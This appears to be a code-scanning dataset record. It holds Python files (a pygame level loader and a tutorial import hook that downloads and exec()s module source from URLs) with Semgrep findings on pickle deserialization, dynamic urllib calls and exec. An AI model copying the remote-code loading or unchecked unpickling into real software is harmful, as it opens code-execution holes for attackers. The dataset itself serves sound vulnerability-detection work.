"location": {"file_path": "unknown", "line_start": 259, "line_end": 259, "column_start": 46, "column_end": 65, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/c7973e2e0e264195.py", "start": {"line": 259, "col": 46, "offset": 8965}, "end": {"line": 259, "col": 65, "offset": 8984}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_c7973e2e0e264195_5730e02d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 270, "line_end": 270, "column_start": 24, "column_end": 54, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/c7973e2e0e264195.py", "start": {"line": 270, "col": 24, "offset": 9370}, "end": {"line": 270, "col": 54, "offset": 9400}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "CWE-502", "CWE-502", "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 229, 253, 259, 270 ]
[ 229, 253, 259, 270 ]
[ 26, 28, 46, 24 ]
[ 56, 58, 65, 54 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5, 5, 5 ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
cache.py
/retools/cache.py
znanja/retools
MIT
2024-11-18T20:23:31.502468+00:00
1,378,745,021,000
00ae696466a86d9784a44605aa2edae4cf50e4ec
3
{ "blob_id": "00ae696466a86d9784a44605aa2edae4cf50e4ec", "branch_name": "refs/heads/master", "committer_date": 1378745021000, "content_id": "e0af3ece28d15ec2123d8edd15c664be936b4a6e", "detected_licenses": [ "MIT" ], "directory_id": "84e0e05c1729967e7fcf4da742c135bde45295a9", "extension": "py", "filename": "level.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1490, "license": "MIT", "license_type": "permissive", "path": "/level.py", "provenance": "stack-edu-0054.json.gz:587795", "repo_name": "marciusvinicius/huntermonters", "revision_date": 1378745021000, "revision_id": "3ccbe7dbe1f5bc2572640c3219a3da142283c9d1", "snapshot_id": "b7c21fc240cc655198c8669879d2af9b59148008", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/marciusvinicius/huntermonters/3ccbe7dbe1f5bc2572640c3219a3da142283c9d1/level.py", "visit_date": "2016-09-01T22:28:26.516993" }
2.796875
stackv2
#! /usr/bin/env python2.7-32 #encoding: utf-8 import os import pygame import pickle import random from sprites import Block class Level (object): def __init__ (self, file, map, game): self.grid = self.map (map[0], map[1]) self._file = file self.game = game def map (self, x, y): grid = [] for row in range (x): grid.append ([]) for column in range(y): grid[row].append(0) return grid def load_level (self): linha, coluna = (0, 0) try: file = open (os.path.join("data/levels", self._file)) except IOError: self.build_word () file = open (os.path.join("data/levels", self._file)) grid = pickle.load (file) file.close () for i, line in enumerate(grid): for j, row in enumerate(line): bl = Block([i, j], row, True, self.game) bl.groups = self.game.blockgroup def build_word (self, w=100, h=100): grid = [] for row in range (w): grid.append ([]) for column in range (h): grid [row].append (random.randint(0, 3)) file = open(os.path.join ("data/levels", self._file), 'w') pickle.dump (grid, file) file.close () def update (self, playtime): pass def draw (self): pass # #Criar level usando o pickle tbm, ainda nao sei como vou fazer isso # # #
64
22.3
67
15
384
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_60837c1da9c3ad45_769d7e53", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 29, "line_end": 29, "column_start": 13, "column_end": 66, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmp10dxl77l/60837c1da9c3ad45.py", "start": {"line": 29, "col": 13, "offset": 569}, "end": {"line": 29, "col": 66, "offset": 622}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_60837c1da9c3ad45_e5a56e67", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 29, "line_end": 29, "column_start": 20, "column_end": 66, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/60837c1da9c3ad45.py", "start": {"line": 29, "col": 20, "offset": 576}, "end": {"line": 29, "col": 66, "offset": 622}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_60837c1da9c3ad45_76942d76", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 33, "line_end": 33, "column_start": 16, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/60837c1da9c3ad45.py", "start": {"line": 33, "col": 16, "offset": 694}, "end": {"line": 33, "col": 62, "offset": 740}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_60837c1da9c3ad45_d8cdac0a", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 34, "line_end": 34, "column_start": 16, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/60837c1da9c3ad45.py", "start": {"line": 34, "col": 16, "offset": 756}, "end": {"line": 34, "col": 34, "offset": 774}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_60837c1da9c3ad45_af4d924a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 49, "line_end": 49, "column_start": 16, "column_end": 67, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/60837c1da9c3ad45.py", "start": {"line": 49, "col": 16, "offset": 1224}, "end": {"line": 49, "col": 67, "offset": 1275}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_60837c1da9c3ad45_e6d004c0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 50, "line_end": 50, "column_start": 9, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/60837c1da9c3ad45.py", "start": {"line": 50, "col": 9, "offset": 1284}, "end": {"line": 50, "col": 33, "offset": 1308}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
6
true
[ "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 34, 50 ]
[ 34, 50 ]
[ 16, 9 ]
[ 34, 33 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
level.py
/level.py
marciusvinicius/huntermonters
MIT
2024-11-18T20:23:31.611857+00:00
1,691,739,976,000
decd684abf83bc7c54438dac4d81fe935deef786
3
{ "blob_id": "decd684abf83bc7c54438dac4d81fe935deef786", "branch_name": "refs/heads/master", "committer_date": 1691739976000, "content_id": "0a780d200cd9eb01188fd0c7d58e93da3ccda54d", "detected_licenses": [ "MIT" ], "directory_id": "44791ec17e06edce6922159178e6ddb62b4b40e2", "extension": "py", "filename": "urlimport.py", "fork_events_count": 25, "gha_created_at": 1496799618000, "gha_event_created_at": 1664977605000, "gha_language": "HTML", "gha_license_id": "MIT", "github_id": 93579936, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5935, "license": "MIT", "license_type": "permissive", "path": "/语法篇/元编程/urlimport.py", "provenance": "stack-edu-0054.json.gz:587797", "repo_name": "hsz1273327/TutorialForPython", "revision_date": 1691739976000, "revision_id": "d1e1365417acd788cdd570a189ab31ed94f8e0b6", "snapshot_id": "d9314fdf4635a59d236d0b2136d0b4de6749c81e", "src_encoding": "UTF-8", "star_events_count": 73, "url": "https://raw.githubusercontent.com/hsz1273327/TutorialForPython/d1e1365417acd788cdd570a189ab31ed94f8e0b6/语法篇/元编程/urlimport.py", "visit_date": "2023-08-18T20:08:58.274004" }
2.546875
stackv2
import warnings import sys import importlib.abc from importlib.machinery import ModuleSpec import imp from urllib.request import urlopen from urllib.error import HTTPError, URLError from html.parser import HTMLParser # Get links from a given URL def _get_links(url): """在指定url查找包含的其他url""" class LinkParser(HTMLParser): """解析html文件,从中获取a标签中的url""" def handle_starttag(self, tag, attrs): if tag == 'a': attrs = dict(attrs) links.add(attrs.get('href').rstrip('/')) links = set() try: warnings.warn(f'Getting links from {url}',UserWarning) u = urlopen(url) parser = LinkParser() parser.feed(u.read().decode('utf-8')) except Exception as e: warnings.warn(f'Could not get links. {e}',UserWarning) warnings.warn(f'links: {links}',UserWarning) return links class UrlPathFinder(importlib.abc.PathEntryFinder): """查找url及其中a标签中指向的url中的模块.""" def __init__(self, baseurl): self._links = None # 保存一个baseurl中指定的可用url路径 #self._loader = UrlModuleLoader(baseurl) # 指定默认的loader self._baseurl = baseurl # def find_spec(self, fullname, paths=None, target=None): warnings.warn(f'find_loader: {fullname}', UserWarning) parts = fullname.split('.') basename = parts[-1] # 查看links和初始化links if self._links is None: self._links = [] self._links = _get_links(self._baseurl) spec = None # 检查links是不是package,判断的标准是有没有.py if basename in self._links: warnings.warn(f'find_loader: trying package {fullname}', UserWarning) fullurl = self._baseurl + '/' + basename try: loader = UrlPackageLoader(fullurl) loader.load_module(fullname)# warnings.warn(f'find_loader: package {fullname} loaded', UserWarning) spec = ModuleSpec(fullname, loader, origin=paths) except ImportError as ie: warnings.warn(f'find_loader: {fullname} is a namespace package', UserWarning) spec = None except Exception as e: raise e elif (basename + '.py') in self._links: # 正常module的处理 warnings.warn(f'find_loader: module {fullname} found', UserWarning) loader = UrlModuleLoader(self._baseurl) spec = ModuleSpec(fullname, loader, origin=paths) else: warnings.warn(f'find_loader: module {fullname} not found', UserWarning) return spec def invalidate_caches(self): warnings.warn("invalidating link cache", UserWarning) self._links = None # Module Loader for a URL class UrlModuleLoader(importlib.abc.SourceLoader): def __init__(self, baseurl): self._baseurl = baseurl self._source_cache = {} def create_module(self,spec): """这边只要调用父类的实现即可.""" mod = sys.modules.setdefault(spec.name, imp.new_module(spec.name)) mod.__file__ = self.get_filename(spec.name) mod.__loader__ = self mod.__package__ = spec.name.rpartition('.')[0] return mod def exec_module (self, module): """在_post_import_hooks中查找对应模块中的回调函数并执行.""" code = self.get_code(module.__name__) exec(code, module.__dict__) # Optional extensions def get_code(self, fullname): src = self.get_source(fullname) return compile(src, self.get_filename(fullname), 'exec') def get_data(self, path): pass def get_filename(self, fullname): return self._baseurl + '/' + fullname.split('.')[-1] + '.py' def get_source(self, fullname): filename = self.get_filename(fullname) warnings.warn(f'loader: reading {filename}', UserWarning) if filename in self._source_cache: warnings.warn(f'loader: cached {fullname} not found', UserWarning) return self._source_cache[filename] try: u = urlopen(filename) source = u.read().decode('utf-8') warnings.warn(f'loader: {filename} loaded', UserWarning) self._source_cache[filename] = source return source except (HTTPError, URLError) as e: warnings.warn(f'loader: {filename} failed. {e}', UserWarning) raise ImportError("Can't load %s" % filename) def is_package(self, fullname): return False # Package loader for a URL class UrlPackageLoader(UrlModuleLoader): def create_module(self, spec): mod = super().create_module(spec) mod.__path__ = [ self._baseurl ] mod.__package__ = spec.name return mod def get_filename(self, fullname): return self._baseurl + '/' + '__init__.py' def is_package(self, fullname): return True # Check path to see if it looks like a URL _url_path_cache = {} def handle_url(path): if path.startswith(('http://', 'https://')): warnings.warn(f'Handle path? {path}. [Yes]', UserWarning) if path in _url_path_cache: finder = _url_path_cache[path] else: finder = UrlPathFinder(path) _url_path_cache[path] = finder return finder else: warnings.warn(f'Handle path? {path}. [No]', UserWarning) def install_path_hook(): sys.path_hooks.append(handle_url) sys.path_importer_cache.clear() warnings.warn('Installing handle_url', UserWarning) def remove_path_hook(): sys.path_hooks.remove(handle_url) sys.path_importer_cache.clear() warnings.warn('Removing handle_url', UserWarning) install_path_hook()
169
32.83
93
18
1,331
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dynamic-urllib-use-detected_158996e504210641_f32a18d7", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dynamic-urllib-use-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 22, "line_end": 22, "column_start": 13, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": "CWE-939: Improper Authorization in Handler for Custom URL Scheme", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A", "references": [{"url": "https://cwe.mitre.org/data/definitions/939.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dynamic-urllib-use-detected", "path": "/tmp/tmp10dxl77l/158996e504210641.py", "start": {"line": 22, "col": 13, "offset": 678}, "end": {"line": 22, "col": 25, "offset": 690}, "extra": {"message": "Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.", "metadata": {"cwe": ["CWE-939: Improper Authorization in Handler for Custom URL Scheme"], "owasp": "A01:2017 - Injection", "source-rule-url": "https://github.com/PyCQA/bandit/blob/b1411bfb43795d3ffd268bef17a839dee954c2b1/bandit/blacklists/calls.py#L163", "bandit-code": "B310", "asvs": {"control_id": "5.2.4 Dynamic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://cwe.mitre.org/data/definitions/939.html"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.exec-detected_158996e504210641_c3cfd4c1", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.exec-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 96, "line_end": 96, "column_start": 9, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.exec-detected", "path": "/tmp/tmp10dxl77l/158996e504210641.py", "start": {"line": 96, "col": 9, "offset": 3589}, "end": {"line": 96, "col": 36, "offset": 3616}, "extra": {"message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b102_exec_used.html", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dynamic-urllib-use-detected_158996e504210641_0518b9ea", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dynamic-urllib-use-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 116, "line_end": 116, "column_start": 17, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-939: Improper Authorization in Handler for Custom URL Scheme", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A", "references": [{"url": "https://cwe.mitre.org/data/definitions/939.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dynamic-urllib-use-detected", "path": "/tmp/tmp10dxl77l/158996e504210641.py", "start": {"line": 116, "col": 17, "offset": 4284}, "end": {"line": 116, "col": 34, "offset": 4301}, "extra": {"message": "Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.", "metadata": {"cwe": ["CWE-939: Improper Authorization in Handler for Custom URL Scheme"], "owasp": "A01:2017 - Injection", "source-rule-url": "https://github.com/PyCQA/bandit/blob/b1411bfb43795d3ffd268bef17a839dee954c2b1/bandit/blacklists/calls.py#L163", "bandit-code": "B310", "asvs": {"control_id": "5.2.4 Dynamic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://cwe.mitre.org/data/definitions/939.html"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.exec-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 96 ]
[ 96 ]
[ 9 ]
[ 36 ]
[ "A03:2021 - Injection" ]
[ "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources." ]
[ 5 ]
[ "LOW" ]
[ "HIGH" ]
urlimport.py
/语法篇/元编程/urlimport.py
hsz1273327/TutorialForPython
MIT
2024-11-18T20:23:32.810944+00:00
1,424,606,283,000
4bb71a9b2f5852d7b2aa3ba684a23187bf6fbfae
3
{ "blob_id": "4bb71a9b2f5852d7b2aa3ba684a23187bf6fbfae", "branch_name": "refs/heads/master", "committer_date": 1424606283000, "content_id": "bb6109e20edf38b40135342da37fb5dcfdb38fcc", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "baf362d76abcbefa47019955387d9457fbd638e4", "extension": "py", "filename": "make_text_dataset.py", "fork_events_count": 0, "gha_created_at": 1424122131000, "gha_event_created_at": 1424122131000, "gha_language": null, "gha_license_id": null, "github_id": 30889265, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2943, "license": "BSD-3-Clause", "license_type": "permissive", "path": "/pylearn2/scripts/datasets/make_text_dataset.py", "provenance": "stack-edu-0054.json.gz:587812", "repo_name": "ririw/pylearn2", "revision_date": 1424606283000, "revision_id": "587e06deaf69cafa03ecf2fdccaea9a7611fae87", "snapshot_id": "b6f781edddac66e0421ddb4e0102bec4e5e31e21", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/ririw/pylearn2/587e06deaf69cafa03ecf2fdccaea9a7611fae87/pylearn2/scripts/datasets/make_text_dataset.py", "visit_date": "2021-01-15T21:15:05.541662" }
3.265625
stackv2
